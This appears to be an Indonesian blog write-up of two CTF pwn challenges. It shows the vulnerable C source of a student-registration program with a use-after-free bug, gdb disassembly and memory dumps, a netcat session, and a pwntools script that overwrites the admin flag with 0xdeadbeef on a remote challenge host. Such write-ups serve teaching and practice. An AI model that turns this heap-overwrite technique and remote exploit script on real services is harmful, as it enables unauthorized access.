Writeup CTFR Sekolah CTFR 1 Dan 2

Khairu Aqsara Sudirman

Khairu Aqsara Sudirman

Apr 10, 2021 — 8 mins read

Diberikan sebuah service pada alamat 103.157.96.13 pada port 7773 untuk Challenge Sekolah CTFR #1 dan Sebuah service pada port 7774, untuk Challenge Sekolah CTFR #2. pada kedua service tersebut dapat menginputkan atau melakukan registrasi sebagai siswa baru, seperti menginputkan nama dan id dari siswa, tetapi juga terdapat satu menu yang hanya bisa diakses oleh data yang memiliki akses admin, perbedaan dari Challenge ini yaitu pada Challenge Sekolah CTFR #2 merupakan perbaikan dari Sekolah CTFR #1.

Download Sekolah CTFR #1 dan Download Sekolah CTFR #2

Sekolah CTFR #1

Diberikan sebuah Source dan ELF untuk bisa dijalankan di local tanpa harus menggunakan service, berikut source dari Challenge Sekolah CTFR #1

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
// Struktur buat data
struct Mahasiswa {
	int id;
	char nama[32];
	int akses_admin;
};

struct Mahasiswa * mahasiswa;
char * data_id;
char * data_nama;
int main() {
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
	printf("-= Selamat datang di Sekolah CTFR =-\n");
	while(1) {
		printf("\nSilahkan Pilih Menu: \n1. Input Nama\n2. Input ID\n3. Reset\n4. Akses Admin\nInput : ");
		char pilih[10];
		fgets(pilih, sizeof(pilih), stdin);
		if (pilih[0] == '1') {
			if (data_nama == NULL) {
				char input_nama[32];
				printf("Nama: ");
				fgets(input_nama, sizeof(input_nama), stdin);
				if (input_nama != NULL) {
					mahasiswa = malloc(sizeof(mahasiswa));
					memset(mahasiswa, 0, sizeof(mahasiswa));
					strcpy(mahasiswa->nama, input_nama);
					strtok(mahasiswa->nama, "\n");
					data_nama = mahasiswa->nama;
					printf("\n==============================\nSelamat datang %s di sekolah CTFR\n==============================\n", mahasiswa->nama);
				}
			} else {
				printf("Nama sudah diterapkan\n");
			}
		} else if (pilih[0] == '2') {
			if (data_id == NULL) {
				char input_ID[32];
				printf("ID: ");
				fgets(input_ID, sizeof(input_ID), stdin);
				if (input_ID != NULL) {
					data_id = strdup(input_ID);
					printf("ID Telah Diterapkan!\n");
				}
			} else {
				printf("ID sudah diterapkan\n");
			}
		} else if (pilih[0] == '3') {
			free(mahasiswa);
			data_id = NULL;
			data_nama = NULL;
			printf("Data berhasil di reset!\n");
		} else if (pilih[0] == '4') {
			if (mahasiswa != NULL) {
				if (mahasiswa->akses_admin) {
					printf("\n==============================\n= AKSES ADMIN DITERIMA =\n==============================\n");
					char flag[64];
					FILE * f = fopen("flag", "r");
					if (f == NULL) {
						printf("File flag nya tidak ada! Kontak developer CTFR kami\n");
						exit(0);
					}
					fgets(flag, 64, f);
					printf("Admin : Here is your flag %s\n", flag);
				} else {
					printf("\n==============================\n= AKSES ADMIN DITOLAK =\n==============================\n");
					printf("Anda hanya login sebagai mahasiswa biasa!\n");
				}
			} else {
				printf("Anda harus input nama terlebih dahulu!\n");
			}
		} else {
			printf("Pilihan tidak valid!\n");
		}
	}
}

Jika diperhatikan dari sorucenya ini bugnya sebanarnya ada di free(mahasiswa) atau setelah browsing-browsing para hacker bilang nya ini itu heap exploitation, beberapa referensi

https://www.youtube.com/watch?v=TfJrU95q1J4&t=289s
https://www.youtube.com/watch?v=rtkRYxbt-r8
https://www.youtube.com/watch?v=GdaPcAF1cew
https://www.youtube.com/watch?v=HPDBOhiKaD8

yang perlu diperhatikan ada pada bagian

0x0000000000401416 <+580>:   mov    rax,QWORD PTR [rip+0x2cb3]        # 0x4040d0 <mahasiswa>
0x000000000040141d <+587>:   test   rax,rax
0x0000000000401420 <+590>:   je     0x4014c3 <main+753>
0x0000000000401426 <+596>:   mov    rax,QWORD PTR [rip+0x2ca3]        # 0x4040d0 <mahasiswa>
0x000000000040142d <+603>:   mov    eax,DWORD PTR [rax+0x24]
0x0000000000401430 <+606>:   test   eax,eax
0x0000000000401432 <+608>:   je     0x4014a6 <main+724>

kode ini jika diterjemahkan di source yang sebenarnya ada pada bagian

if (mahasiswa != NULL) {
	if (mahasiswa->akses_admin) {
		
	}
}

yang harus dilakukan adalah merubah nilai mahasiswa->akses_admin yang semula bernilai 0=false menjadi true, harus diperiksa dulu bagian mov  rax,QWORD PTR [rip+0x2ca3] dan mov  eax,DWORD PTR [rax+0x24] karena nilai pada alamat itulah yang bertanggung jawab untuk menentukan nilai test  eax,eax nantinya

gdb-peda$ b *main+580
Breakpoint 1 at 0x401416
...
   0x40140a <main+568>: movzx  eax,BYTE PTR [rbp-0x12]
   0x40140e <main+572>: cmp    al,0x34
   0x401410 <main+574>: jne    0x4014d4 <main+770>
=> 0x401416 <main+580>: mov    rax,QWORD PTR [rip+0x2cb3]        # 0x4040d0 <mahasiswa>
   0x40141d <main+587>: test   rax,rax
   0x401420 <main+590>: je     0x4014c3 <main+753>
   0x401426 <main+596>: mov    rax,QWORD PTR [rip+0x2ca3]        # 0x4040d0 <mahasiswa>
   0x40142d <main+603>: mov    eax,DWORD PTR [rax+0x24]

pada saat break di instruksi 0x401416 nilai rax akan diambil dari nilai rip+0x2cb3 jika dihitung manual alamat rip saat breakpoint terjadi ada di 0x401416 jika alamat rip+0x2cb3 = QWORD PTR 0x4040c9 yang artinya 8 byte dari alamat tersebut, jika dicek dengan gdb

gdb-peda$ x/8gx $rip+0x2cb3
0x4040c9:       0xa000000000000000      0xc000000000004052
0x4040d9 <data_id+1>:   0xa400000000004052      0x0000000000004052
0x4040e9:       0x0000000000000000      0x0000000000000000
0x4040f9:       0x0000000000000000      0x0000000000000000

dengan begitu maka kondisi instruksi test  rax,rax akan bernilai true, tahap ini sudah melewati mahasiswa != NULL, dari sini juga bisa diketahui variable yang seharusnya di overflow adalah data_id untuk membuktikanya selanjutnya mencari nilai true untuk mahasiswa->akses_admin jika benar maka seharusnya jika data_id di overflow maka akses_admin akan bernilai true

   0x401416 <main+580>: mov    rax,QWORD PTR [rip+0x2cb3]        # 0x4040d0 <mahasiswa>
   0x40141d <main+587>: test   rax,rax
   0x401420 <main+590>: je     0x4014c3 <main+753>
=> 0x401426 <main+596>: mov    rax,QWORD PTR [rip+0x2ca3]        # 0x4040d0 <mahasiswa>
   0x40142d <main+603>: mov    eax,DWORD PTR [rax+0x24]
   0x401430 <main+606>: test   eax,eax
   0x401432 <main+608>: je     0x4014a6 <main+724>
   0x401434 <main+610>: lea    rdi,[rip+0xd15]        # 0x402150

selanjutnya nilai rax akan diambil 8 byte dari alamat rip+0x2ca3 sama seperti tahapan sebelumnya 0x401426+0x2ca3 = 0x4040c9 dan dilanjutkan dengan nilai eax 4 byte yang diambil dari alamat rax yang berarti rax+0x24=0x4052c4 , QWORD = 8 byte, DWORD=4 byte jika di cek dengan gdb

gdb-peda$ x/8gx $rip+0x2ca3
0x4040c9:       0xa000000000000000      0xc000000000004052
0x4040d9 <data_id+1>:   0xa400000000004052      0x0000000000004052
0x4040e9:       0x0000000000000000      0x0000000000000000
0x4040f9:       0x0000000000000000      0x0000000000000000
...
...
gdb-peda$ x/4gx $rax+0x24
0x4052c4:       0x0000000a43434343      0x0000000000000000
0x4052d4:       0x00020d3100000000      0x0000000000000000
...
gdb-peda$ x/s 0x4052c4
0x4052c4:       "CCCC\n"

dari hasi pemeriksaan ternyata nilai alamat $rax+0x24=CCCC nilai ini didapat dari menginputkan niali ID=BBBCCCC pada saat aplikasi dijalankan. jadinya nilai eax tidak akan bernilai 0=false, seharusnya kondisi test  eax,eax pada main+606 akan terpenuhi.

   0x401420 <main+590>: je     0x4014c3 <main+753>
   0x401426 <main+596>: mov    rax,QWORD PTR [rip+0x2ca3]        # 0x4040d0 <mahasiswa>
   0x40142d <main+603>: mov    eax,DWORD PTR [rax+0x24]
=> 0x401430 <main+606>: test   eax,eax
   0x401432 <main+608>: je     0x4014a6 <main+724>
   0x401434 <main+610>: lea    rdi,[rip+0xd15]        # 0x402150
   0x40143b <main+617>: call   0x401050 <puts@plt>
   0x401440 <main+622>: lea    rsi,[rip+0xd61]        # 0x4021a8
...
...
gdb-peda$ x/x $eax
0x43434343:     Cannot access memory at address 0x43434343

dibuktikan jika nilai eax sekarang bernilai 0x43434343=CCCC jika eksekusi aplikasi dilanjutkan hasilnya adalah

gdb-peda$ c
Continuing.
==============================
= AKSES ADMIN DITERIMA =
==============================
File flag nya tidak ada! Kontak developer CTFR kami
[Inferior 1 (process 4421) exited normally]
Warning: not running
gdb-peda$ 

jika di coba di remote service aplikasinya

$ nc 103.157.96.13 7773
-= Selamat datang di Sekolah CTFR =-
Silahkan Pilih Menu: 
1. Input Nama
2. Input ID
3. Reset
4. Akses Admin
Input : 1
Nama: AAAAAAAAAAAAAAAA
==============================
Selamat datang AAAAAAAAAAAAAAAA di sekolah CTFR
==============================
Silahkan Pilih Menu: 
1. Input Nama
2. Input ID
3. Reset
4. Akses Admin
Input : 2
ID: BBBBCCCC
ID Telah Diterapkan!
Silahkan Pilih Menu: 
1. Input Nama
2. Input ID
3. Reset
4. Akses Admin
Input : 4
==============================
= AKSES ADMIN DITERIMA =
==============================
Admin : Here is your flag CTFR{f1r5t_t1m3_d01n9_h34p_m3m0ry_3xpl01t1n9???}

Sekolah CTFR #2

Challenge ini merupakan versi perbaikan dar Challenge sebelumnya, Proses Excploitasinya sama seperti Challange Sekola CTFR #1, hanya saja ditambah validasi if (mahasiswa->akses_admin == 0xDEADBEEF) { kalo dalam bentuk dissamble

...
   0x0000000000401428 <+598>:   jne    0x4014ef <main+797>
   0x000000000040142e <+604>:   mov    rax,QWORD PTR [rip+0x2c9b]        # 0x4040d0 <mahasiswa>
   0x0000000000401435 <+611>:   test   rax,rax
   0x0000000000401438 <+614>:   je     0x4014de <main+780>
   0x000000000040143e <+620>:   mov    rax,QWORD PTR [rip+0x2c8b]        # 0x4040d0 <mahasiswa>
   0x0000000000401445 <+627>:   mov    eax,DWORD PTR [rax+0x24]
   0x0000000000401448 <+630>:   cmp    eax,0xdeadbeef
   0x000000000040144d <+635>:   jne    0x4014c1 <main+751>
...

yang berubah hanya pada bagian cmp  eax,0xdeadbeef dimana jika nilai eax = 0xdeadbeef hasilnya eax=true, exploitasinya menggunakan pwntool aja, karena nilai 0xdeadbeef kalo diterjemahin kedalam ascii akan berbentuk non printable character.

from pwn import *
r = p64(0xdeadbeef)
#p = process('./chal10')
p = remote('103.157.96.13', 7774)
p.sendline('1') # pilih input Nama
p.sendline('kulikode') # isi Nama
p.sendline('2') #pilih Input ID
p.sendline('kuli'+r) # isi ID dengan kuli + 0xdeadbeed
p.sendline('4') # pilih akses admin
p.recvline()
res = p.recv()
print res

hasilnya

python2 solve.py
[+] Opening connection to 103.157.96.13 on port 7774: Done
Maaf sebelumnya, aplikasi kemarin terdapat celahan yang dapat memungkinkan kalian dapat mengakses admin.
Hal tersebut sudah kami fix!
Silahkan Pilih Menu: 
1. Input Nama
2. Input ID
3. Reset
4. Akses Admin
Input : Nama: 
==============================
Selamat datang kulikode di sekolah CTFR
==============================
Silahkan Pilih Menu: 
1. Input Nama
2. Input ID
3. Reset
4. Akses Admin
Input : ID: ID Telah Diterapkan!
Silahkan Pilih Menu: 
1. Input Nama
2. Input ID
3. Reset
4. Akses Admin
Input : 
==============================
= AKSES ADMIN DITERIMA =
==============================
Admin : Here is your flag CTFR{p00r_m3m0ry_pr09r4m}
writeup ctf Reverse
Read More

Implementasi Algoritma Smith Waterman Dengan PHP

Beberapa waktu lalu saya mendapatkan pekerjaan yang mengharuskan saya menggunakan beberapa implementasi dari Pencocokan String, Terutama dalam hal pencarian, salah satunya Algoritma Smith Waterman, Dimana logaritma ini bertugas untuk melakukan pencocokan dari sebuah string yang dicari, dan saya ingin berbagi dengan teman-teman semua, siapa tau ada yang membutuhkan referensi atau hanya sebagai bahan pembelajaran untuk menambah pengetahuan.

Read More

Writeup CTFR Tinggal Dimana

jika dilihat dari source yang diberikan, kita bisa simpulkan jika vulnerability nya berada pada pada bagian gets(target); kemudian dengan melakukan buffer overflow dan meng-overwrite ((void(*)())target)();